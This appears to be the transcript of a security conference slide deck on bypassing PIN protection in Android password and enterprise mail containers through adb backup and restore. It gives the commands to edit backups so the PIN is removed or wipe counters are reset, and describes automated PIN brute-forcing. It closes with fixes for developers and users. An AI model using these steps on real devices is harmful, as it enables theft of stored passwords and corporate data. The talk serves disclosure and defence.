

MOBILE FAIL

Cracking open „**secure**“ Android Containers

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@ChrisJohnRiley > *whoami*



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- Raiffeisen Informatik GmbH
- R-IT **CERT** Team


- Regular conference speaker
 - DEF CON | Bsides | Hashdays | SecZone...
- blog → <http://blog.c22.cc>
- Abject Failure (*See Life for reference*)


***“THE WISEST MAN, IS
HE WHO KNOWS, THAT
HE KNOWS NOTHING”***

SOCRATES: APOLOGY, 21D



edge case

- 
- [:0] Why**
 - [:1] Scenario**
 - [:2] How**
 - [:3] Closer Look**
 - [:4] Making it easy**
 - [:5] Review**



[WHY?]

SecureDataExchange
Breaches
BYOD
Paranoia
Complexity
DigitalLife
Cloud
TooManySecrets
Mobility
Passwords

too much information

01100100 01100101 01110010 01110000
01100100 01100101 01110010 01110000 01111001
01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100





LastPass ****



Containers

- **Multiple uses**
 - Pa\$\$w0rd databases
 - Corporate **mail** containers
 - Secure notes / files
 - ...







but...

The device is insecure



...or

worse

BYOD*

* Bring Your Own Disease



Solution?

Move the
security closer
to the data!

it's not

Rocket
surgery



but...

■ ■ ■ I lost my
phone!

“

314 mobile phones 'stolen
in London every day'

”

”

offenders traced three
or four times out of 10

“



I SEE EASY CASH
SO I RUN UP TO HIM
AND GRAB IT
FROM HIS HAND!

THIEVES
SEE YOUR
POSSESSIONS
DIFFERENTLY

Take care where they're on show
For more information visit www.met.police.uk/crimeprevention

METROPOLITAN POLICE TOTAL POLICING

NEW SCOTLAND YARD

Source: UK Metropolitan Police 01/2013

state of



security





11/04/13 8:59



RT @DennisF: It's all @k8em0 today on @threatpost: <http://t.co/65OvXngqwi> and podcast: <http://t.co/BayD8OLt68>

Welcome > [Blog Home](#) > [Featured Video](#) > Lock Screen Bypass Flaw Found in Samsung Androids

Pattern recorded.





**KEEP
CALM**



secure containers will save us



... or not




#1

{ Scenario }

Scenario

- **Given physical access to a device**
 - What security do “**secure**” containers provide
 - temporary access (< 3 minutes)
 - permanent access





GAME OVER

but...

remember 

secure containers will **SAVE** us

A green rectangular sign with rounded corners and a white border, mounted on two wooden posts. The sign features the word "Purpose" in a large, white, sans-serif font. The background is a bright blue sky with scattered white clouds. The sign is tilted slightly to the right.

Purpose

#1.1

[GOALS]

TL;DR

pwn secure containers

NOT MY

GOAL

bypass device PIN

root the device

do anything
resembling...







[HOW?]



keep it simple

Android Debug Bridge

ADB – Android Debug Bridge

- Requires USB Debugging Enabled
- Doesn't require ROOTed device
 - Root grants further access / makes things trivial



<http://developer.android.com/tools/help/adb.html>

adb functions



ADB – Android Debug Bridge

- **Allows application side-loading**
 - [un]install applications over adb
 - Doesn't require device to be active
 - Can be PIN locked (for some functions)
 - New security implemented in 4.3

<http://developer.android.com/tools/help/adb.htm>

ADB – Android Debug Bridge

- **adb backup**

- Backup Android device over adb (ICS onwards)
 - -system → system data
 - -apk → application apk
- Can backup specific application data individually

```
adb backup com.android.app -f backup.ab
```

<http://developer.android.com/tools/help/adb.ht>

ADB – Android Debug Bridge

- **adb restore**

- Restore Android backup over adb
- Restore specific application data individually
 - with or without application (**apk**)

```
adb restore backup.ab
```

<http://developer.android.com/tools/help/adb.htm>

ADB – Android Debug Bridge

- **adb pull / push**
 - Copy data to / from device over adb
 - Limited access for non-root users
 - no access to application config without root
 - Works on locked devices (**PIN Protected**)

```
adb pull /sdcard/secret.txt secret.txt
```

<http://developer.android.com/tools/help/adb.html>

ADB – Android Debug Bridge

- **adb shell**
 - Shell access on device
 - Send keys / taps
 - Limited for non-root users
 - Works on locked devices (PIN Protected)

```
adb shell
```

<http://developer.android.com/tools/help/adb.html>

Supporting Tools

- **openssl**
 - w/ zlib support
- **star**
 - tar tool w/ added functionality we need





Closer look





lastpass




lastpass

- **Personal solution (w/ enterprise option)**
 - Uses online sync
 - Can be secured with a PIN
 - Can wipe data after 5 false logons
 - Restricts screenshots

<https://lastpass.com/android>

Can store lastpass.com password

- So users don't need to type it **EVERY** time
- Reduces security
- Makes it **usable!**



Why store the **PW**?

The Last Password You Have to Remember

`_mySecur3L@sTp@$$$p@$$$w0rd1sDAb0mb&&&:`

- Easy to **remember**
- Impossible to **type!**

It's
OK
though

You can
enable a
PIN!

PIN Security

- Limited to **4** digits!
- “auto-Wipe” data
 - after **5** false logons



PIN = =

SECURE!



AndroidManifest.xml

```
1 <?xml version="1.0" encoding="utf-8"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3     package="apt.tutorial"
4     android:versionCode="1"
5     android:versionName="1.0">
6     <application android:icon="@drawable/icon" android:label="@string/app_name">
7         <activity android:name=".FirstApp"
8             android:label="@string/app_name">
9             <intent-filter>
10                <action android:name="android.intent.action.MAIN" />
11                <category android:name="android.intent.category.LAUNCHER" />
12            </intent-filter>
13        </activity>
14
15    </application>
16    <uses-sdk android:minSdkVersion="3" />
17
18 </manifest>
```

AndroidManifest.xml

```
<application android:allowBackup="true">
```

Default: *true*

```
adb backup com.lastpass.lpandroid -f lp.ab
```


What good is an `.ab` file?

Android Backup (.ab)

- **zlib compressed (kinda)**
 - skip header (24 bytes)
 - pipe to openssl w/zlib support

```
dd if=dropbox.ab bs=24 skip=1 | openssl zlib -d > dropbox.tar
```

```
mobisec@mobisec-vm:~/mobile_testing/com.lastpass.lpandroid$ tree
```

```
├── apps
│   ├── com.lastpass.lpandroid
│       ├── f
│           ├── 632da2a7521caa7b4976a55d4353c5884e1d9498dfa94c8.xml
│           ├── aueb396e4c351e9c063952f0c169e409c6b2fc5ded34350.xml
│           ├── fde8b1731134c654b4c7aa6661a951a6ad33006a9b6c57d.xml
│           ├── vcsfp.db3
│           └── vcsfp.db3-journal
│       ├── _manifest
│       └── sp
│           └── LPAndroid.xml
```

```
4 directories, 7 files
```

LPandroid.xml

- lastpass.com username
- laspass.com password (encoded)
- PIN (encoded)
- Settings
- ...

```

-<map>
  <string name="defaultsiteaction">showmenu</string>
  <string name="wxssid">DKEIMIGF0o-rtM4GmFfOtMhIhU2</string>
  <string name="welcome_shown_lpformssubmit">1</string>
  <string name="showlaunchalert">0</string>
  <string name="localattachmentlocation">memorycard</string>
  <string name="dofastdecryption">1</string>
  <string name="requirepin">0</string>
  <string name="loginpw">wPkZbuG/0RAI6IX1a3indg==</string>
  <string name="pincodeforreprompt">!XHXIV3j5iaCbDWD8AwE+wQ==|nUBTJLXXmMnIHL|
  <string name="donotrepromptfor">0</string>
  <string name="launchto">lastpass</string>
  <string name="reprompt_tries">0</string>
  <string name="loginpwencrypted">1</string>
  <string name="pincodeforrepromptencrypted">1</string>
  <string name="doicons">1</string>
  <string name="loginuser">evilthinker@untrustedsite.net</string>
  <string name="enableserverlogging">0</string>

```

```
<string name="reprompt_tries">  
    0  
</string>
```


That looks
interesting!

(THEORY)

```
if reprompt_tries < 5:  
    prompt_for_pin()  
else  
    drop_the_DBass()  
end
```


Theory


- **reprompt_tries** as **iterator**
 - increases till it reaches 5
 - Sounds reasonable
- **edit the XML and restore it**
 - Let's set “reprompt_tries” to **-9999** then ;)



Proposed Attack

- Backup app data
- Edit XML
 - set “reprompt_tries” to -9999
- Repackage
- Restore





- 0 - adb backup com.lastpass.lpandroid -f lpass.ab
- 1 - dd if=lpass.ab bs=24 skip=1 | openssl zlib -d > lpass.tar
- 2 - tar -tf lpass.tar > lpass.list
- 3 - tar -xvf lpass.tar
- 4 - edit apps/com.lastpass.lpandroid/sp/LPandroid.xml
- 5 - star -c -v -f lpass_new.tar -no-dirslash list=lpass.list apps/
- 6 - dd if=lpass.ab bs=24 count=1 of=lpass_new.ab
- 7 - openssl zlib -in lpass_new.tar >> lpass_new.ab
- 8 - adb restore lpass_new.ab

Not the *easiest*
process...

counter++

good news...

We get
10,000 tries

bad news...

We get
10,000 tries

Let's make it easier

No PIN > PIN

```
<string name="passwordrepromptonactivate">0</string>  
  <string name="pincodeforreprompt"></string>  
    <string name="requirepin">0</string>
```

PROFIT!

Easier Attack

- Backup app data
- Edit XML
 - remove **PIN**
- Repackage
- Restore
- **WIN!**





for **BONUS!**
points...

Persistence

Persistence

- **Backup LastPass from device A**
 - Edit backup to remove PIN
 - Rebuild backup
- **Restore backup to device B**
 - Close & restart to re-sync changes from device A
 - Profit?

...but I
RESET my
password!

PROFIT++





GOOD
for enterprise

GOOD

- **Enterprise email solution**
 - Email | Contacts | intranet Browser | ...
 - Secured with a PIN **or** password
 - *enterprise policy*
 - Wipes data/device after 10 false logons

<https://www.good.com>

Adv. security features

- **Double encryption**
 - SSL Tunnel + Encrypted contents
- **Full MDM solution**
 - Password Policies
 - ...
- **r00t detection**
 - emulator detection
 - advanced detection



<https://www.good.com>

{ Scenario }

Lost device (**BYOD**)

- Can an attacker prevent secure wipe
- Can an attacker access cached data

PROBLEM



unlike

LastPass

preferences are
encrypted

PROBLEM



auto-wipe

...after **10** false logons





~~Disable PIN~~

~~auto-wipe counter~~

~~brute-force~~

but...

AndroidManifest.xml

```
<application android:allowBackup="true">
```



DERP

THEORY



Theory

- Auto-wipe counter
- Stored **IN** app data *somewhere*



THEORY



adb restore

*over*write

auto-wipe

counter




#facepalm

~~brute-force~~

Naïve Attack

- Backup app data
- until good.unlock?
 - Try **9** PINS
 - Restore app data



PROBLEM





Naïve Attack timing

- **4 digit PIN**
 - est. 4.5 hours*
- **6 digit PIN**
 - est. 18.5 days*
- **8 digit PIN**
 - est. 5 years*



* 18.75 ppm ~ 50% keyspace

Naïve Attack timing

- **4 lower alphanum**
 - est. 31 days*
- **6 lower alphanum**
 - est. 3 years*
- **8 lower alphanum**
 - est. 110 years*



* 18.75 ppm ~ 50% keyspace

Naïve Attack timing


- **4 mixed alphanum**
 - est. 1 year*
- **6 mixed alphanum**
 - est. 46.5 years*
- **8 mixed alphanum**
 - est. 2880 years*




* 18.75 ppm ~ 50% keyspace




CONTAINER



CONTAINER



CONTAINER





#facepalm



#facepalm





Close button (X)

Search bar: Search here to search

- My Computer
- PenTesting
 - DOMinator
 - Backtrack4-pre
 - Backtrack 3 Beta 3
 - BT5R3-GNOME-VM-32
- Mobile
 - WinXP Mobile Devices
 - MobiSec
 - androVM GOOD
 - AndroidX86-4.3

Browser tabs: Home, androVM GOOD, androVM GOOD, androVM GOOD, androVM GOOD

VM Status Bar: P: 0.0 / 1, dX: 0.0, dY: 0.0, Xv: 0.0, Yv: 0.0, Prs: 0.0, Size: 0.0, 12:34



Enter Password

GO

Forgot Password



Adv. Attack

- Automate PIN + restore
 - adb shell input text
 - adb shell input keyevent
 - adb shell input tap



Minimize keySPACE

- **Password Rules**

- No sequenced numbers (e.g. 4567)
- No duplicate numbers (e.g. 1111)

- **Result**

- Reduced keySPACE



*here's one I made
earlier*



PROFIT!



Making it easy

methodology

- **Common methodology**
 - Backup (adb)
 - Extract
 - Examine ← here be dragons
 - Edit ← bypass all the things
 - Repack
 - Restore (adb)

remember this
process?

- 0 - adb backup com.lastpass.lpandroid -f lpass.ab
- 1 - dd if=lpass.ab bs=24 skip=1 | openssl zlib -d > lpass.tar
- 2 - tar -tf lpass.tar > lpass.list
- 3 - tar -xvf lpass.tar
- 4 - edit apps/com.lastpass.lpandroid/sp/LPandroid.xml
- 5 - star -c -v -f lpass_new.tar -no-dirslash list=lpass.list apps/
- 6 - dd if=lpass.ab bs=24 count=1 of=lpass_new.ab
- 7 - openssl zlib -in lpass_new.tar >> lpass_new.ab
- 8 - adb restore lpass_new.ab

**Say that 10
times fast!**



automation





ab_unpacker.py

```
ab_unpacker
v1.0 - @ChrisJohnRiley

Usage:
ab_unpacker.py [options] arguments

Options:
  --version          show program's version number and exit
  -h, --help        show this help message and exit
  -p PACKAGE, --package=PACKAGE
                   Android Package to backup
  -b BACKFILE, --backfile=BACKFILE
                   Backup destination filename
  -l, --list         Create Tar List file for repacking
```

https://github.com/ChrisJohnRiley/Random_Code

ab_packer.py

```
ab_packer.py
          v1.0 - @ChrisJohnRiley

Usage:
ab_packer.py [options] arguments

Options:
--version          show program's version number and exit
-h, --help        show this help message and exit
-d DIRECTORY, --directory=DIRECTORY
                  Directory containing apps folder for repacking
-b BACKFILE, --backfile=BACKFILE
                  Resulting Android Backup filename
-l LIST, --list=LIST List created from original backup
-o ORIGINAL, --original=ORIGINAL
                  Original Android Backup filename
-r, --restore     Restore to device on completion
```

https://github.com/ChrisJohnRiley/Random_Code

Makes Owning things

200% quicker
1000% funner



WANTED
DEAD OR ALIVE
\$15,000
REWARD







[REVIEW]

“secure” containers

!=

SECURE containers

Physical access


2020

#5.1

(FIX IT)

Developers



A silver laptop is shown from a front-facing perspective, resting on a light-colored wooden surface. The laptop's screen is black, and a bright yellow sticky note is affixed to the center. The sticky note contains the text "Can you read this?" in a bold, black, sans-serif font. The laptop's keyboard and trackpad are visible below the screen. The background is a plain, light gray wall.

**Can you
read this?**

android.allowBackup

public static final int **allowBackup**

Added in API level 4

Whether to allow the application to participate in the backup and restore infrastructure. If this attribute is set to `false`, no backup or restore of the application will ever be performed, even by a full-system backup that would otherwise cause all application data to be saved via adb. **The default value of this attribute is `true`.**

Must be a boolean value, either "`true`" or "`false`".

This may also be a reference to a resource (in the form "`@ [package:] type:name`") or theme attribute (in the form "`? [package:] [type:] name`") containing a value of this type.

Constant Value: 16843392 (0x01010280)

Caution: Because the cloud storage and transport service can differ from device to device, Android makes no guarantees about the **security of your data while using backup.** You should always be cautious about using backup to store sensitive data, such as usernames and passwords.

<http://developer.android.com/guide/topics/data/backup>

Some devs

GET it!

```
<!--
```

NOTE: android:allowBackup is set to false below to prevent the key material from being extracted from the device using various backup methods (e.g., adb backup introduced in ICS).

```
-->
```

```
<application android:label="@string/app_name_short"  
    android:icon="@drawable/ic_launcher_authenticator"  
    android:theme="@style/AuthenticatorTheme"  
    android:name="com.google.android.apps.authenticator.AuthenticatorApplication"  
    android:allowBackup="false">
```

pref files

Securing Apps

- Preference files are **NOT** secret
 - Encrypt preference data
 - **ONLY** store encrypted passwords
 - No XOR / base64 please
 - Don't TRUST the config
 - HMAC | Sign | Encrypt

android backup

Securing Apps

- **Disallow Android Backup**
 - if you don't **absolutely** need it!

```
<application android:allowBackup="false">
```

extra security

Extra Security

- **USB Debugging**
 - Disable app when activated
- **Root makes these hack easier still**
 - edit/read preference files on device itself
 - **ROOT** detection is too basic
 - easy to fool



end users

Users

- **Encrypt** your device
 - Encrypts ADB backups
 - Need to enter same passcode on backup screen
- **Disable USB Debugging**
 - protects against adb pull/push attacks
- **Don't loose your phone ;)**



Question time



Thank you for your attention!
Vielen Dank für Ihre Aufmerksamkeit!



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